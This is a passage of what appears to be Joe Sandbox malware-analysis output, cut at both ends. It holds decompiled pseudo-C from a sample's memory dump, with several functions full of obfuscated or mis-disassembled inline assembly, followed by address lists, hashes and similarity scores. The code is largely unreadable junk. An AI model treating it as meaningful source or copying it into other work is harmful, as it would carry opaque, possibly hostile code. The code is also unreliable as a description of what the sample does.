				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t66;
				void* _t67;
				void* _t72;
				void* _t73;
				signed int _t90;
				signed int* _t113;
				void* _t118;
				void* _t121;
				void* _t124;
				signed int _t127;
				void* _t129;
				signed int _t130;
				void* _t132;
				intOrPtr* _t133;
				void* _t134;
				void* _t138;
				signed int _t139;
				signed int _t140;
				void* _t153;
				void* _t160;
				signed long long _t162;

				_t160 = __fp0;
				_t133 = __esi;
				_t129 = __edi;
				_t121 = 0x9d;
				_t42 = E00401277(0x2a84, __ebx, __edi, __esi, _t134, __eflags);
				_pop(_t66);
				 *(_t66 + 0x3e) =  *(_t66 + 0x3e) ^ 0x00000012;
				_pop(_t67);
				 *((intOrPtr*)(_t67 + 0x35)) =  *((intOrPtr*)(_t67 + 0x35)) - _t67;
				asm("aaa");
				_t72 = 0x5b5b695b;
				 *((intOrPtr*)(_t72 + 0x3e)) =  *((intOrPtr*)(_t72 + 0x3e)) - 0x12;
				_pop(_t73);
				 *((intOrPtr*)(_t73 + 0x68)) =  *((intOrPtr*)(_t73 + 0x68)) - _t73;
				asm("aaa");
				asm("aaa");
				_t90 = 0x5b5b695b;
				asm("das");
				_t139 = _t138 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t135 = 0xdea4a4a7;
				asm("wait");
				_push(_t139);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t133);
				_t130 = _t129 -  *0xFFFFFFFFDEA4A4EF;
				_t147 = _t90 ^ _t130;
				if((_t90 ^ _t130) < 0) {
					_pop(_t113);
					_t133 = _t133 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t135 = 0xdea4a4a7 - _t130;
					asm("int3");
					 *_t113 =  *_t113 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t118 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t118;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t121 = 0x9a;
					_t45 = E00401277(_t61, _t118, _t130, _t133, _t135, _t147);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t139 = 0x10eba4a4 |  *(_t133 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t140 = _t139 |  *(_t133 + _t135 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t140);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t162 = (_t160 -  *0x000000F7) *  *0x8c;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t127);
					asm("salc");
					_t162 = _t162 +  *_t133;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t128 = _t127 ^  *0xd05b5b70;
				} while ((_t127 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t132);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t133);
				_t153 = _t121 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t140;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t132, _t133, 0x13eba4a4, _t153);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t132, _t133, _t153); // executed
				_t154 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t132, _t154,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L25:
						_t159 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t124 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t124 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t124);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t128, _t159);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t132, _t133, 0x13eba4a4, _t159);
					} else {
						_t51 = E00402255(_t162,  *((intOrPtr*)(0x13eba4a0)));
						_t156 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t132, _t133, _t156, _t162);
							_t157 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t157, _t162,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L25;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a68
0x00402a68
0x00402a68
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000014.00000002.400667578.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_B1B2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction ID: 82ad2b52174684eab274c82477a3a8af7fb59672a5e0ddff72ba5353dc29b957
Opcode Fuzzy Hash: e5ce9d8f38c6a1832c1f617ca6f2b2dbab99815177e54b5282bbfeaab51e76cd
Instruction Fuzzy Hash: 11514332109101DEEB00AE64AFDA9AAF764FF15378B3001B7DC416E1E6C37B5646DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402A6C, Relevance: .2, Instructions: 216
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 34%

			E00402A6C(unsigned int __ebx, signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t41;
				void* _t42;
				signed int _t45;
				void* _t48;
				void* _t51;
				void* _t54;
				void* _t56;
				void* _t60;
				void* _t61;
				void* _t67;
				void* _t68;
				void* _t73;
				void* _t74;
				signed int _t91;
				signed int* _t114;
				void* _t119;
				void* _t122;
				void* _t125;
				signed int* _t127;
				signed int _t128;
				void* _t130;
				signed int _t131;
				void* _t133;
				intOrPtr* _t134;
				void* _t135;
				void* _t139;
				signed int _t140;
				signed int _t141;
				unsigned int _t146;
				void* _t154;
				void* _t161;
				signed long long _t163;

				_t161 = __fp0;
				_t134 = __esi;
				_t130 = __edi;
				_t127 = __edx;
				_t63 = __ebx >> 0xd;
				_t146 = __ebx >> 0xd;
				_t122 = 0x9d;
				_t42 = E00401277(_t41, _t63, __edi, __esi, _t135, _t146);
				_pop(_t67);
				 *(_t67 + 0x3e) =  *(_t67 + 0x3e) ^ 0x00000012;
				_pop(_t68);
				 *((intOrPtr*)(_t68 + 0x35)) =  *((intOrPtr*)(_t68 + 0x35)) - _t68;
				asm("aaa");
				_t73 = 0x5b5b695b;
				 *((intOrPtr*)(_t73 + 0x3e)) =  *((intOrPtr*)(_t73 + 0x3e)) - 0x12;
				_pop(_t74);
				 *((intOrPtr*)(_t74 + 0x68)) =  *((intOrPtr*)(_t74 + 0x68)) - _t74;
				asm("aaa");
				asm("aaa");
				_t91 = 0x5b5b695b;
				asm("das");
				_t140 = _t139 - 1;
				_t45 = _t42 - 0x2b5b3a5b + 0xdbb726d6 | 0xb3a72ea4;
				_t136 = 0xdea4a4a7;
				asm("wait");
				_push(_t140);
				asm("fild word [eax-0xfa4a4a6]");
				asm("fcomp dword [ebp-0x4f404fb7]");
				_push(_t134);
				_t131 = _t130 -  *0xFFFFFFFFDEA4A4EF;
				_t148 = _t91 ^ _t131;
				if((_t91 ^ _t131) < 0) {
					_pop(_t114);
					_t134 = _t134 +  *((intOrPtr*)(_t45 - 0x4fd534a2));
					asm("scasd");
					asm("salc");
					_t136 = 0xdea4a4a7 - _t131;
					asm("int3");
					 *_t114 =  *_t114 ^ 0xffffffc6;
					asm("rcl byte [edi+0x7f], 1");
					asm("fcomp dword [edi-0x33a14fa1]");
					_t119 = 0xffffffb0;
					asm("movsd");
					asm("clc");
					_t60 = 0xffffffffb19799b2 -  *((intOrPtr*)(0xffffffffb19799b2));
					 *((intOrPtr*)(_t60 - 0x15)) =  *((intOrPtr*)(_t60 - 0x15)) + _t119;
					_t61 = _t60 + 0xf4eb4097;
					asm("movsd");
					_t122 = 0x9a;
					_t45 = E00401277(_t61, _t119, _t131, _t134, _t136, _t148);
					asm("salc");
					asm("fcom dword [esi+0x6b]");
					_t140 = 0x10eba4a4 |  *(_t134 + 0xffffffff8543585e);
				}
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t141 = _t140 |  *(_t134 + _t136 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t141);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t163 = (_t161 - _t127[0x1a]) *  *_t127;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t128);
					asm("salc");
					_t163 = _t163 +  *_t134;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t45;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t45 = 0x49;
					_t129 = _t128 ^  *0xd05b5b70;
				} while ((_t128 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t133);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t134);
				_t154 = _t122 + 1;
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t48 =  *_t141;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t48, 0x688e1679, _t133, _t134, 0x13eba4a4, _t154);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t51 = E004025E8(_t133, _t134, _t154); // executed
				_t155 = _t51;
				if(_t51 != 0) {
					if(E00401F34(_t133, _t155,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L23:
						_t160 = gs;
						if(gs != 0) {
							_t54 = 0x688e6ab7;
							_t125 = 0x2ef8;
						} else {
							_t54 = 0x688e471e;
							_t125 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t125);
						_push(_t54);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t129, _t160);
						_t56 = 0x2c1c;
						_t51 = E00401277(_t56, 0x688e1679, _t133, _t134, 0x13eba4a4, _t160);
					} else {
						_t51 = E00402255(_t163,  *((intOrPtr*)(0x13eba4a0)));
						_t157 = _t51;
						if(_t51 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t51 = L00402321(0x688e1679, _t133, _t134, _t157, _t163);
							_t158 = _t51;
							if(_t51 != 0) {
								_t51 = E00401FF1(_t158, _t163,  *((intOrPtr*)(0x13eba4a0)));
								if(_t51 != 0) {
									goto L23;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a6c
0x00402a73
0x00402a7f
0x00402a88
0x00402a89
0x00402a8c
0x00402a8d
0x00402a93
0x00402a9b
0x00402a9d
0x00402aa0
0x00402aa1
0x00402ac5
0x00402ac7
0x00402ad7
0x00402ad9
0x00402ada
0x00402adb
0x00402ae0
0x00402ae5
0x00402ae6
0x00402ae7
0x00402aed
0x00402af3
0x00402af4
0x00402af7
0x00402af9
0x00402afb
0x00402afc
0x00402b02
0x00402b03
0x00402b06
0x00402b08
0x00402b09
0x00402b0f
0x00402b12
0x00402b23
0x00402b24
0x00402b25
0x00402b2b
0x00402b2d
0x00402b30
0x00402b35
0x00402b3d
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bde
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000014.00000002.400667578.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_B1B2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction ID: ac3f9a48b8241fa4787baba6bb88e996d90e4b1d5655853c31ab7ffc92292063
Opcode Fuzzy Hash: 5eb334b091ada3894d7bc2550cdcc7fd4771e28d89526815cda72f1da41a8dec
Instruction Fuzzy Hash: 6251543200A101DFEB00AF64AEDA5AAFB64FF15378B3401A7DC416E1E2D37B5642DA56

Uniqueness

Uniqueness Score: -1.00%

Function 00402B38, Relevance: .1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E00402B38(signed int* __edx, void* __edi, intOrPtr* __esi, void* __fp0) {
				void* _t25;
				intOrPtr _t26;
				void* _t29;
				void* _t32;
				void* _t35;
				void* _t37;
				void* _t65;
				signed int* _t67;
				signed int _t68;
				void* _t73;
				intOrPtr* _t74;
				void* _t75;
				signed int _t78;
				signed int _t79;
				signed int _t80;
				void* _t84;
				signed long long _t99;

				_t74 = __esi;
				_t67 = __edx;
				_t71 = __edi + 1;
				_t84 = __edi + 1;
				asm("das");
				asm("a16 scasb");
				_t26 = E00401277(_t25, 0x9ab9, _t71, __esi, _t75, _t84);
				asm("salc");
				asm("fcom dword [esi+0x6b]");
				_t79 = _t78 |  *(_t74 + _t75 - 0x59614c49);
				asm("sahf");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a39df54]");
				asm("salc");
				_t80 = _t79 |  *(_t74 + _t75 - 0x590a4c55);
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a10df54]");
				asm("movsb");
				asm("cs cmpsd");
				_push(_t80);
				asm("fisub word [eax+0x5a]");
				asm("salc");
				_t99 = (__fp0 - _t67[0x1a]) *  *_t67;
				asm("movsb");
				asm("scasd");
				asm("cmpsb");
				asm("movsb");
				asm("movsb");
				asm("ficomp word [ebx+0x5a7fdf54]");
				do {
					_pop(_t68);
					asm("salc");
					_t99 = _t99 +  *_t74;
					asm("movsb");
					 *[cs:0xa4a62bb3] = _t26;
					asm("movsb");
					asm("ficomp word [ebx+0x5a56df54]");
					_t26 = 0x49;
					_t69 = _t68 ^  *0xd05b5b70;
				} while ((_t68 ^  *0xd05b5b70) > 0);
				asm("lahf");
				_pop(_t73);
				asm("fst qword [eax-0x4f074b50]");
				_push(_t74);
				asm("adc dh, [eax-0x2b4c1752]");
				_push(ss);
				gs =  *0x0000007A;
				_push(0x2c1c);
				_t29 =  *_t80;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t29, 0x688e1679, _t73, _t74, 0x13eba4a4, 0x9b);
				_push( *0x13EBA4A0);
				E004019D4();
				_push(0x688e46de);
				_push( *((intOrPtr*)(0x13eba4a0)));
				_t32 = E004025E8(_t73, _t74, 0x9b); // executed
				_t91 = _t32;
				if(_t32 != 0) {
					if(E00401F34(_t73, _t91,  *((intOrPtr*)(0x13eba4a0))) != 0) {
						L17:
						_t96 = gs;
						if(gs != 0) {
							_t35 = 0x688e6ab7;
							_t65 = 0x2ef8;
						} else {
							_t35 = 0x688e471e;
							_t65 = 0x2399;
						}
						_push( *0x688E99AF);
						_push(_t65);
						_push(_t35);
						_push( *((intOrPtr*)(0x13eba4a0)));
						E0040193B(_t69, _t96);
						_t37 = 0x2c1c;
						_t32 = E00401277(_t37, 0x688e1679, _t73, _t74, 0x13eba4a4, _t96);
					} else {
						_t32 = E00402255(_t99,  *((intOrPtr*)(0x13eba4a0)));
						_t93 = _t32;
						if(_t32 != 0) {
							_push( *((intOrPtr*)(0x13eba4a0)));
							_t32 = L00402321(0x688e1679, _t73, _t74, _t93, _t99);
							_t94 = _t32;
							if(_t32 != 0) {
								_t32 = E00401FF1(_t94, _t99,  *((intOrPtr*)(0x13eba4a0)));
								if(_t32 != 0) {
									goto L17;
								}
							}
						}
					}
				}
				return _t32;
			}

0x00402b38
0x00402b38
0x00402b38
0x00402b38
0x00402b39
0x00402b3a
0x00402b49
0x00402b4e
0x00402b4f
0x00402b54
0x00402b59
0x00402b5a
0x00402b5b
0x00402b5c
0x00402b5d
0x00402b65
0x00402b6b
0x00402b72
0x00402b73
0x00402b74
0x00402b7c
0x00402b7d
0x00402b86
0x00402b87
0x00402b8c
0x00402b8d
0x00402b93
0x00402b94
0x00402b98
0x00402b99
0x00402b9a
0x00402b9b
0x00402ba0
0x00402ba0
0x00402ba3
0x00402ba4
0x00402baa
0x00402bab
0x00402bb1
0x00402bb2
0x00402bba
0x00402bbf
0x00402bc5
0x00402bc8
0x00402bc9
0x00402bcc
0x00402bd2
0x00402bdf
0x00402bec
0x00402bed
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c2a
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000014.00000002.400667578.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_B1B2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction ID: 3e85d14ce6c36aa09c03589aa9c8c3521ff663fa5e1e86b555b0dc280717ecfe
Opcode Fuzzy Hash: 2f51a1350f02f31ca673438723fbeaec66e0bac50b46ce53ae83f4c302164230
Instruction Fuzzy Hash: 17412A31109101EFFB01AB51DF8A5AEB775FF19368B2000BBDC417A1D2D77E5A05DA16

Uniqueness

Uniqueness Score: -1.00%

Function 00402BFB, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00402BFB(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				intOrPtr _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t28;
				intOrPtr* _t30;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc al, 0x62");
				_push(0x2c1c);
				_t12 =  *_t30;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t35 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t35,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L11:
						_t40 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						_push( *((intOrPtr*)(_t21 + 0x8336)));
						_push(_t23);
						_push(_t18);
						_push( *((intOrPtr*)(_t28 - 4)));
						E0040193B(_t25, _t40);
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t40);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t37 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t37, __fp0);
							_t38 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t38, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L11;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402bfb
0x00402bfb
0x00402bfb
0x00402bfb
0x00402bee
0x00402bf3
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c8b
0x00402c91
0x00402c92
0x00402c93
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000014.00000002.400667578.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_B1B2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction ID: 52cd7e5ac6ed9cc019fbfcf69bdf72a742899d53516448c63c37d0d49b3bd750
Opcode Fuzzy Hash: 4a8bd4eca60c59e258f16d0e70a1738de93e05cd34cc8aa36a9a378a6468ebc1
Instruction Fuzzy Hash: 7111213050C105EAFF01A6518F5E97E72699F01348F24007BAD42B52E2D7BD9F16B62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C01, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402C01(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("adc ch, [edi-0x40]");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
						if(gs != 0) {
							_t9 = _t21 + 0x543e; // 0x688e6ab7
							_t18 = _t9;
							_t23 = 0x2ef8;
						} else {
							_t8 = _t21 + 0x30a5; // 0x688e471e
							_t18 = _t8;
							_t23 = 0x2399;
						}
						E0040193B(_t25, _t39,  *((intOrPtr*)(_t28 - 4)), _t18, _t23,  *((intOrPtr*)(_t21 + 0x8336)));
						_t20 = 0x2c1c;
						_t15 = E00401277(_t20, _t21, _t26, _t27, _t28, _t39);
					} else {
						_t15 = E00402255(__fp0,  *((intOrPtr*)(_t28 - 4)));
						_t36 = _t15;
						if(_t15 != 0) {
							_push( *((intOrPtr*)(_t28 - 4)));
							_t15 = L00402321(__ebx, _t26, _t27, _t36, __fp0);
							_t37 = _t15;
							if(_t15 != 0) {
								_t15 = E00401FF1(_t37, __fp0,  *((intOrPtr*)(_t28 - 4)));
								if(_t15 != 0) {
									goto L8;
								}
							}
						}
					}
				}
				return _t15;
			}

0x00402c01
0x00402c01
0x00402c01
0x00402c01
0x00402c05
0x00402c17
0x00402c1c
0x00402c1f
0x00402c24
0x00402c2b
0x00402c2e
0x00402c33
0x00402c35
0x00402c45
0x00402c6b
0x00402c6e
0x00402c71
0x00402c80
0x00402c80
0x00402c86
0x00402c73
0x00402c73
0x00402c73
0x00402c79
0x00402c79
0x00402c96
0x00402ca7
0x00402cc2
0x00402c47
0x00402c4a
0x00402c4f
0x00402c51
0x00402c53
0x00402c56
0x00402c5b
0x00402c5d
0x00402c62
0x00402c69
0x00000000
0x00000000
0x00402c69
0x00402c5d
0x00402c51
0x00402c45
0x00402cc8

Memory Dump Source

Source File: 00000014.00000002.400667578.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_B1B2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction ID: 94dd4e34baa45bb6a7d52d13517e1efb42c98130ce2376b8e4646defd1028816
Opcode Fuzzy Hash: aba60e48e92cb2b09b873d5c8ea28a2240f160238eccea7537a2bd1afc53be07
Instruction Fuzzy Hash: D2011220118105F9FF0167528F1A97E75299F01348F24007BAC41B52E2DBBD8F15A62F

Uniqueness

Uniqueness Score: -1.00%

Function 00402C12, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 83%

			E00402C12(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t12;
				void* _t15;
				void* _t18;
				void* _t20;
				void* _t21;
				void* _t23;
				signed int _t25;
				void* _t28;

				_t27 = __esi;
				_t26 = __edi;
				_t21 = __ebx;
				asm("a16 push es");
				_push(0xab);
				E00401277(_t12, __ebx, __edi, __esi, _t28, __eflags);
				_push( *((intOrPtr*)(_t28 - 4)));
				E004019D4();
				_t2 = _t21 + 0x3065; // 0x688e46de
				_push( *((intOrPtr*)(_t28 - 4)));
				_t15 = E004025E8(_t26, _t27, __eflags); // executed
				_t34 = _t15;
				if(_t15 != 0) {
					if(E00401F34(_t26, _t34,  *((intOrPtr*)(_t28 - 4))) != 0) {
						L8:
						_t39 = gs;
